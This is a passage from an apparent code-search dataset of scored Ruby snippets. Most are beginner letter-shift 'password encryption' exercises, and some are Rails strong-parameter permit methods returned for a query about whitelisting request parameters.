"text": "def decrypt(string)\n index = 0\n while index < string.length\n letter_position = \"abcdefghijklmnopqrstuvwxyz\".index(string[index])\n puts \"abcdefghijklmnopqrstuvwxyz\"[letter_position - 1]\n index += 1\n end\nend",
"title": ""
},
{
"docid": "520bd77cf3a11290dba9404af263739d",
"score": "0.7524467",
"text": "def decrypt(npassword)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n index = 0\n together = \"\"\n while index < npassword.length\n nsingle = npassword[index]\n alphanum = alphabet.index(nsingle)\n dcpt = alphanum - 1\n final = alphabet[dcpt]\n together += final\n index += 1\n end\n p together\nend",
"title": ""
},
{
"docid": "a83e1e9fef39321206bf7110a480c912",
"score": "0.7520088",
"text": "def decrypt(decrypt_input)\n# define alphabet as a string to compare index with decrypt_input\n\talpha = \"abcdefghijklmnopqrstuvwxyz\"\n# compare index of decrypt_input to index of alphabet, \n# subtract 1, and print corresponding letter in alphabet string\n\tputs alpha[alpha.index(decrypt_input[0]) - 1] + alpha[alpha.index(decrypt_input[1]) - 1] + alpha[alpha.index(decrypt_input[2]) - 1]\nend",
"title": ""
},
{
"docid": "ca2f8ed1d794993a3833d9d9d8b9ef41",
"score": "0.7519819",
"text": "def encrypt(string)\n\t\n\t# set index, string for index, and empty string\n\tindex = 0\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\tmessage = \"\"\n\t\n\t# while loop for interation through length of string\n\twhile index < string.length\n\t\tcharacter = string[index]\n\t\t# conditionals for blank spaces and edge cases\n\t\tif character == \" \"\n\t\t\tmessage << \" \"\n\t\telsif character == \"z\"\n\t\t\tmessage << \"a\"\n\t\telse\n\t\t\tcharacter = alphabet[character].next!\n\t\t\tmessage << character\n\t\tend\n\t\tindex += 1\n\tend\n\tputs\n\tputs \"-----------------------------------------\"\n\tputs \" -RESULTS-\"\n\tputs\n\tputs \"Your encrypted password is: #{message}.\"\n\tputs \"-----------------------------------------\"\nend",
"title": ""
},
{
"docid": "2d167e9a6af12caeeed0ec2fb0419f2a",
"score": "0.7515729",
"text": "def decrypt(password)\r\n\tabc = \"abcdefghijklmnopqrstuvwxyz\"\r\n index = 0\r\n\twhile index < password.length\r\n\t\tif password[index] == \" \"\r\n\t\t password[index]\r\n\t\telse\r\n\t\t\tpassword[index] = abc[abc.index((password[index]))-1]\r\n\t\tend\r\n\t\tindex += 1\r\n end\r\n\treturn password \r\nend",
"title": ""
},
{
"docid": "bd6ac5fe0f8e1c379593db60afeaf751",
"score": "0.7501565",
"text": "def encrypt(password)\r\n\r\n# Store starting point index, alphabet, and blank encrypted variable\r\n\r\n index = 0\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n encrypted = \"\"\r\n\r\n# Loop through each letter of the password starting at index.\r\n\r\n while index < password.length\r\n\r\n# If the character is not a space\r\n if password[index] != \" \"\r\n \r\n# Store newindex as the alphabetical index of the current password letter\r\n\r\n newindex = alphabet.index(password[index])\r\n\r\n# If the newindex + 1 equals the alphabet length reset index back to -1\r\n# so 'z' will become 'a'\r\n\r\n if newindex + 1 == alphabet.length\r\n newindex = -1\r\n end\r\n\r\n# Set encrypted[index] to the next letter of the alphabet\r\n\r\n encrypted[index] = alphabet[newindex + 1]\r\n \r\n# If character is a space, set encrypted[index] to a space as well\r\n\r\n else \r\n encrypted[index] = \" \"\r\n end\r\n\r\n# Raise index by 1 and start next iteration\r\n\r\n index += 1\r\n end\r\n\r\n# After all letters have been adjusted, return encrypted\r\n \r\n return encrypted\r\nend",
"title": ""
},
{
"docid": "2fe80e8dbb234a667b70894b607adb14",
"score": "0.75008136",
"text": "def decrypt(secret_password)\n\ti = 0 # index to loop through string\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\tdecrypted_pass=\"\"\n\tnew_letter_index = 0\n\n\twhile i < secret_password.length\n\t\tnew_letter_index = alphabet.index(secret_password[i]) - 1\n\t\tdecrypted_pass += alphabet[new_letter_index]\n\t\ti+=1\n\tend\n\n\tdecrypted_pass\nend",
"title": ""
},
{
"docid": "a860d468befe3a46ef1dc55640155a9c",
"score": "0.7495943",
"text": "def encrypt(password)\n\tindex = 0\n\twhile index < password.length \n\t\tif password[index] != \" \" && password[index] != \"z\"\n\t\t\tpassword[index] = password[index].next\n\t\t\tindex += 1\n\t\telsif password[index] == \"z\"\n\t\t\tpassword[index] = \"z\"\n\t\t\tindex +=1\t\t\n\t\telse \n\t\t\tpassword[index] = \" \"\n\t\t\tindex +=1\n\t\tend\n\tend\n\t#puts password\n\treturn password\nend",
"title": ""
},
{
"docid": "7f91a2cfe1c93ef5de38428d3bbacb27",
"score": "0.74942505",
"text": "def decrypt(encr)\n a_key = \"abcdefghijklmnopqrstuvwxyz\"\n d_pw = encr\n #j is for iteration\n j = encr.length-1\n for i in 0..j\n current_letter = a_key.index(encr[i].to_s)\n d_pw[i] = a_key[current_letter-1]\n end\n puts(\"decrypted: \"+d_pw.to_s)\n d_pw.to_s\nend",
"title": ""
},
{
"docid": "ff45db62cdd3b54c6fe952db0698fa5c",
"score": "0.7493511",
"text": "def decrypt(string)\n\t#decrypted = \"\"\n#\talpha = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\ti = 0\n\ta = 0\n\tputs\"what password would you lie to decrypt?\"\n\tstring = gets.chomp\n\t\twhile i < string.length\n\t\tif string[i] == \" \"\n\t\telse \n\t\ttemp = alphabet.index(string[i])\n\t\ttemp = temp - 1 \n\t\tstring[i] = alphabet[temp]\n\t end\n\t i = i + 1\n\tend\n\tputs string\nend",
"title": ""
},
{
"docid": "e97a3e27e57864e61a94a38d3a91c228",
"score": "0.7488417",
"text": "def encrypt(password)\n index = 0\n while index < password.length\n password[index] = password[index].next!\n index += 1\n end\n password.gsub!(\"!\", \" \")\n password.gsub!(\"ab\", \"a\")\n p password\nend",
"title": ""
},
{
"docid": "98b85864a398ac6d703989ad5b735242",
"score": "0.7480173",
"text": "def encrypt(encrypt_input)\n# define alphabet as a string to compare index with decrypt_input\n\talph = \"abcdefghijklmnopqrstuvwxyz\"\n\tindex = 0\n\twhile index < encrypt_input.length\n \t\tp alph[alph.index(encrypt_input[index]) + 1]\n \t\tindex += 1\n\tend\nend",
"title": ""
},
{
"docid": "827cf8493ee885d127b42c511d42f658",
"score": "0.74648064",
"text": "def encrypt(input)\r\n new_value = 0\r\n new_password = \"\"\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n times_run = 0\r\n\r\n until times_run == input.length\r\n new_value = alphabet.index(input[times_run]) + 1\r\n if new_value > 25\r\n new_value = new_value - 26\r\n end\r\n new_password += alphabet[new_value]\r\n times_run += 1\r\n\r\n end\r\n puts \"Your encrypted password is #{new_password}.\"\r\nend",
"title": ""
},
{
"docid": "0170a82105821b7bc2be535119295c28",
"score": "0.7459417",
"text": "def encrypt(password)\n index = 0\n while index < password.length\n if\n password[index] == \"z\"\n password[index] = \"a\"\n else\n password[index] = password[index].next!\n end\n if\n password[index] == \"!\"\n password[index] = \" \"\n end\n index +=1\n end\np password\nend",
"title": ""
},
{
"docid": "bfbd3859f21c2b8a3d164b05bfc21740",
"score": "0.7458515",
"text": "def encrypt(password)\n\ti = 0\n\twhile i < password.length\n\t\tif password[i] != \" \"\n\t\t\tif password[i] == \"z\"\n\t\t\t\tpassword[i] = \"a\"\t\t\t\n\t\t\telse\n\t\t\t\tpassword[i] = password[i].next\n\t\t\tend\n\t\tend\n\t\ti += 1\n\tend\n\treturn password\nend",
"title": ""
},
{
"docid": "4ca9d00d3ab29ef18820df0428af7b52",
"score": "0.7457611",
"text": "def decrypt(secret_password)\n i = 0\n decrypted_password = \"\"\n\n while i < secret_password.length\n if secret_password[i] != \" \"\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n letter = secret_password[i]\n output = alphabet.index(letter)\n result = alphabet[output-1]\n decrypted_password << result\n elsif secret_password[i] == \" \"\n decrypted_password << \" \"\n end\n \n i += 1\n end\n \n decrypted_password\n \nend",
"title": ""
},
{
"docid": "ebd8be1cd6fc95418864013b5c3561af",
"score": "0.7449526",
"text": "def decrypt_method (test_string2)\n index=0\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n while index < test_string2.length\n old_letter = alphabet.index(test_string2[index])\n new_letter = old_letter-1\n test_string2[index] = alphabet[new_letter]\n index+=1\n end\n puts \"decrypted password is #{test_string2}\"\n return test_string2\nend",
"title": ""
},
{
"docid": "d58ce97c8b0ed80b4ae86aa8667df604",
"score": "0.7445228",
"text": "def encrypt(password)\n\ti = 0\n\n\twhile i < password.length\n\t\t# if letter is z then replace with a\n\t\tif password[i] == \"z\"\n\t\t\tpassword[i] = \"a\"\n\t\t# dont do anything to spaces\n\t\telsif password[i] == \" \"\n\t\t\tpassword[i] = \" \"\n\t\telse\n\t\t\tpassword[i] = password[i].next!\t\n\t\tend\n\t\ti += 1\n\tend\t\t\n\n\tp password\t# using p will give output with quotes and an implicit return with intended object\n\t\t\t\t# we can alternatively use puts password and return password, to give output without quotes and an explicit return with intended object\nend",
"title": ""
},
{
"docid": "56f44c7c4b1467024c9b31451bd66106",
"score": "0.74394614",
"text": "def encrypt(word)\n index = 0\n result = \"\"\n # Iterate through each letter in the word\n while index < word.length\n # If that letter happens to be an edge case\n if word[index] == \"z\"\n result += \"a\"\n # For each letter go forward one character\n else\n result += word[index].next\n end\n index += 1\n end\n # Print the encrypted word\n puts \"Encryption completed, encrypted password is: #{result}\"\nend",
"title": ""
},
{
"docid": "8b2446e20cef9ddb77707dee9d824d70",
"score": "0.74325526",
"text": "def decrypt(password)\n\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\n\tindex = 0\n\n\twhile index < password.length\n\t\tif password[index] != \" \"\n\t\t\tpassword[index] = alphabet[alphabet.index(password[index]) - 1]\n\t\tend\n\t\tindex += 1\n\tend\n\treturn password\nend",
"title": ""
},
{
"docid": "67cdfcbec7494b4f90e1fe5cc5d2bb78",
"score": "0.7414445",
"text": "def password_encrypt\n puts \"Do you want to decrypt or encrypt a password?\"\n encryption_pattern = gets.chomp\n \n \n def encrypt_method(string)\n \n index = 0\n while index < string.length\n string[index] = string[index].next\n index +=1\n end\n #puts string\n string\n\n end\n \n def decrypt_method(string)\n \n index = 0\n alpha = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n while index < string.length\n current_letter = string[index]\n current_index = alpha.index(current_letter)\n new_letter = alpha[current_index-1]\n string[index] = new_letter\n index +=1\n end\n #puts string\n string\n \n end\n \n if encryption_pattern == \"encrypt\"\n puts \"What is your password?\"\n password_input = gets.chomp\n puts encrypt_method(password_input)\n elsif encryption_pattern == \"decrypt\"\n puts \"What is your password?\"\n password_input = gets.chomp\n puts decrypt_method(password_input)\n else \"Im sorry I didn't get that.\"\n end\n \n\nend",
"title": ""
},
{
"docid": "78834ecf2ba6b3ab5f82768de22d210b",
"score": "0.7411866",
"text": "def decrypt_password(secret_password)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\ti = 0\n\twhile i < secret_password.length\n\t\talphabet_index = alphabet.index(secret_password[i])\n\t\tsecret_password[i] = alphabet[alphabet_index-1]\n\ti += 1\n\tend\n\tp secret_password\nend",
"title": ""
},
{
"docid": "714ce05e904f2090582f492355441e85",
"score": "0.74019116",
"text": "def encrypt(password)\n a = 0\n while a < password.length\n if password[a] != \"z\"\n password[a] = password[a].next\n else\n password[a] = \"a\"\n end\n a += 1\n end\n # puts password\n return password\nend",
"title": ""
},
{
"docid": "e1b2ca48bfce2d53e7c88b140fc3eb2a",
"score": "0.7398615",
"text": "def encrypt(password)\r\n\ti = 0\r\n\tdeck = \"\"\r\n\tlen = password.length\r\n\r\n\tfor i in 0...len\r\n\t\tdeck += password[i].next\r\n\t\tif password[i] == \"z\"\r\n\t\tdeck = deck.chomp(\"a\")\r\n\t\tend\r\n\t\tif password[i] == \"Z\"\r\n\t\tdeck = deck.chomp(\"A\")\r\n\t\tend\r\n\tend\r\n\treturn deck\r\nend",
"title": ""
},
{
"docid": "089c340faf3aea59fbb39a58f4466c08",
"score": "0.7382435",
"text": "def encode plaintext\n plain = ('a'..'z').to_a\n\n plaintext_array = plaintext.split(//)\n\n ciphertext_array = plaintext_array.map do |char|\n index = plain.index(char)\n index = (index + 13) % 26\n plain[index]\n end\n\n ciphertext_array.join(\"\")\n\nend",
"title": ""
},
{
"docid": "98539aab746dd49f7b1e11f3bbadfa42",
"score": "0.7381988",
"text": "def encrypt(word)\n\n\tcounter = 0\n\tencrypted = Array.new\n\n\twhile counter < word.length\n\t\t##puts \"running while loop\"\n\t\t##puts word[counter]\n\t\t\n\t\tinitial_character = word[counter]\n\t\tcurrent_character = word[counter].next\n\t\t\n\t\tif initial_character == ' '\n\t\t\tencrypted << ' '\n\t\telsif initial_character == \"z\"\n\t\t\tencrypted << \"a\"\n\t\telse\n\t\t\tencrypted << current_character\n\t\tend\n\t\t\n\t\tcounter += 1\n\t\t\n\t\tif counter == word.length\n\t\tputs \"Your password is: #{encrypted.join(\"\")}\"\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "a4dbce0e144af8001c84bf230d0a1683",
"score": "0.7373294",
"text": "def decrypt(string)\n index = 0\n decrypted_word = \"\"\n abc = \"abcdefghijklmnopqrstuvwxyz\"\n while index < string.length\n current_lett = string[index]\n abc_index = abc.index(current_lett) - 1\n decrypted_letter = abc[abc_index]\n decrypted_word += decrypted_letter\n index += 1\n end\n puts decrypted_word\nend",
"title": ""
},
{
"docid": "b414f69a8cf36615ca617a4ac4ca20ea",
"score": "0.73709035",
"text": "def encrypt(sample)\n index = 0\n password = sample\n while index < password.length\n unless password[index] == \" \"\n if password[index] == \"z\"\n password[index] = \"a\"\n else\n password[index] = password[index].next!\n end\n end\n index += 1\n end\n return password\nend",
"title": ""
},
{
"docid": "5ea53cbbd73a248eda8feaa772f4e7ae",
"score": "0.73681176",
"text": "def encrypt(password)\r\n index = 0\r\n while index < password.length\r\n #shift the letter at the position to next one, then advances the loop\r\n password[index] = password[index].next!\r\n index += 1\r\n end\r\n password = password.gsub(/ab/ , \"a\")\r\nend",
"title": ""
},
{
"docid": "032e10d06baf6fefcbe16491a44fa710",
"score": "0.7366074",
"text": "def encrypt(password)\n #e_pw is intended to store encrypted password string\n e_pw = password\n #i is for iteration\n i = password.length\n while i > 0\n if e_pw[i-1] == \"z\"\n e_pw[i-1] = \"a\"\n else \n e_pw[i-1] = password[i-1].next\n end\n i-=1\n end\n puts(\"encrypted: \"+e_pw.to_s)\n e_pw.to_s\nend",
"title": ""
},
{
"docid": "21d34941987ed601e17dd4e0f8e40333",
"score": "0.7346296",
"text": "def encrypt(str)\n alpha=\"abcdefghijklmnopqrstuvwxyza\"\n index=0\n while index < str.length\n letter= str[index]\n place =\"abcdefghijklmnopqrstuvwxyz\".index(letter)\n str[index]=alpha[place+1]\n index += 1\n end\n p str\nend",
"title": ""
},
{
"docid": "a02ab5aabda848f95556525902d796ae",
"score": "0.7339737",
"text": "def encrypt(string)\n\t\n\tindex = 0\n\tencryptstr = \"\"\n\twhile index < string.length \n\t\n letter = string[index]\n \n neletter = letter.next\n encryptstr += neletter\n \n\t\n\tindex += 1 \n\tend\n\n\tputs encryptstr\n\tend",
"title": ""
},
{
"docid": "d637efb7c86d12ec66c82e3f426c2336",
"score": "0.7338937",
"text": "def encrypt(password)\n\tindex = 0\n\twhile index < password.length\n\t\tif password[index] == \" \"\n\t\t\tpassword[index] = \" \"\n\t\t\telsif password[index] == \"z\"\n\t\t\t\tpassword[index] = \"a\"\n\t\t\telse\n\t\t\t\tpassword[index] = password[index].next\n\t\tend\n\t\tindex += 1\n\tend\n\tpassword\nend",
"title": ""
},
{
"docid": "76a3080b49218a53ccfd17915b3b58e1",
"score": "0.7336479",
"text": "def decrypt(str)\n alpha=\"abcdefghijklmnopqrstuvwxyz\"\n index=0\n while index < str.length\n letter= str[index]\n place =\"abcdefghijklmnopqrstuvwxyz\".index(letter)\n str[index]=alpha[place-1]\n index += 1\n end\n p str\nend",
"title": ""
},
{
"docid": "02f4832cd16e37835637323a44602bdc",
"score": "0.73328936",
"text": "def decrypt(secret)\n index = 0\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n secret.downcase!\n while index < secret.length\n let_to_decrypt = secret[index]\n letter_location = alphabet.index(let_to_decrypt)\n secret[index] = alphabet[letter_location-1]\n index +=1\n end\n return secret\nend",
"title": ""
},
{
"docid": "b9221f8bbff291455d8ceea147950e4c",
"score": "0.7329465",
"text": "def decrypt(encrypted_string)\r\n i = 0\r\n str = \"abcdefghijklmnopqrstuvwxyz\"\r\n while i < encrypted_string.length\r\n place_letter = encrypted_string[i] #place_letter is letter in encrypted_string\r\n new_num = str.index(place_letter) #new_num is the index in str of place_letter\r\n encrypted_string[i] = str[new_num - 1]\r\n #p encrypted_string #print each new string for test\r\n i += 1\r\n end\r\np encrypted_string\r\nend",
"title": ""
},
{
"docid": "459b1015238e12cc037b96aeae60b802",
"score": "0.73291266",
"text": "def encrypt(password)\r\n\tindex = 0\r\n\twhile index < password.length\r\n\t\tif password[index] == \" \" \r\n\t\t\tpassword[index] \r\n\t\telsif password[index] == \"z\"\r\n\t\t\tpassword[index] = \"a\"\r\n \t else\r\n\t\t\tpassword[index] = password[index].next!\r\n\t\tend\r\n\t index += 1\r\n\tend \r\n\treturn password \r\nend",
"title": ""
},
{
"docid": "369c812c838c7ebf27cc2c0b1f5dcc36",
"score": "0.7328815",
"text": "def decrypt(encrypt)\n index = 0\n while index < encrypt.length\n alphabet_index = 0\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n until encrypt[index] == alphabet[alphabet_index]\n alphabet_index += 1\n end \n encrypt[index] = alphabet[alphabet_index - 1]\n index += 1 \n end\n p encrypt\nend",
"title": ""
},
{
"docid": "5fc5d5e092621edbf05e099614f856cd",
"score": "0.7312203",
"text": "def encrypt(password)\n\tpassword_var = password\n\tindex_counter = 0\n\n\twhile index_counter < password_var.length\n\n\t\tif password_var[index_counter] == \"z\"\n\t\t\tpassword_var[index_counter] = \"a\"\n\t\telsif password_var[index_counter] == \" \"\n\t\t\tpassword_var[index_counter] = \" \"\n\t\telse\n\t\t\tpassword_var[index_counter] = password_var[index_counter].next\n\t\tend\n\n\t\tindex_counter += 1\n\tend\n\n\tp password_var\n#\tpassword_var\n\nend",
"title": ""
},
{
"docid": "61fe7b97c751c748a02c8fa65590cf48",
"score": "0.7311346",
"text": "def encrypt (password)\n\tindex = 0 \n\tlength = password.length\n\twhile index < length\n\t\tif (password[index] == \" \")\n\t\t\t\n\t\t\tpassword[index] = password[index]\n\n\t\telsif (password[index] == \"z\")\n\t\t\tpassword[index] = \"a\"\n\t\telse\n\t\t\tpassword[index] = password[index].next!\n\t\tend\n\n\t\tindex+=1\n\tend\n\tpassword\n\t \nend",
"title": ""
},
{
"docid": "a517d8581dcf174683346d4c4118424c",
"score": "0.7309991",
"text": "def decrypt(password)\r\n#Creates the alphabet as a string for easier access and less confusing code\r\n\talphabet=\"abcdefghijklmnopqrstuvwxyz \"\r\n\tcount=0\r\n\tdecoded=\"\"\r\n\twhile count<password.length\r\n#Determines where a particular letter in password fits in the alphabet\r\n\t\tmagic= alphabet.index(password[count])\r\n\t\tif magic== \" \"\r\n\t\t\tdecoded=decoded + \" \"\r\n\t\t\t#print \" \"\r\n#Edge case for when decrypting \"a\" would not return a usable value\r\n\t\telsif alphabet[magic-1]== \"a\"\r\n\t\t\tdecoded=decoded + \"z\"\r\n\t\t\t#print \"z\"\r\n#Rolls back each letter to the previous one in the alphabet\r\n\t\telse #print alphabet[magic -1]\r\n\t\t\tdecoded=decoded + alphabet[magic-1]\r\n\t\tend\r\n\t\tcount+=1\r\n\tend\r\n\treturn decoded\r\nend",
"title": ""
},
{
"docid": "65ae25e0d2396edae65c506efd41eada",
"score": "0.7306551",
"text": "def encrypt(word)\n counter = 0\n secret_password = ''\n while counter < word.length\n character = word[counter].next\n secret_password += character\n counter += 1\n end\n puts secret_password\nend",
"title": ""
},
{
"docid": "2cbddd80bd0c9cf8a1a1be3dee707e63",
"score": "0.7298963",
"text": "def decrypt(string)\nindex = 0\na_to_z = \"abcdefghijklmnopqrstuvwxyz\"\n\n while index < string.length\n new_string = string[index]\n\n position = a_to_z.index(new_string)\n second_index= position-1\n print a_to_z[second_index]\nindex += 1\nend\nreturn string\nend",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "fa1982e3d565b66a6976e09e82f5c167",
"score": "0.0",
"text": "def blog_params\n params.require(:blog).permit(:title, :category, :description, :body_text, :image, :slug, :bg_im_1, :bg_im_2, :bg_im_3, :bg_im_4, :bg_im_5, :bg_im_6, :bg_im_7, :bg_im_8, :im_1_des, :im_2_des, :im_3_des, :im_4_des, :im_5_des, :im_6_des, :im_7_des, :im_8_des, :leg_link)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
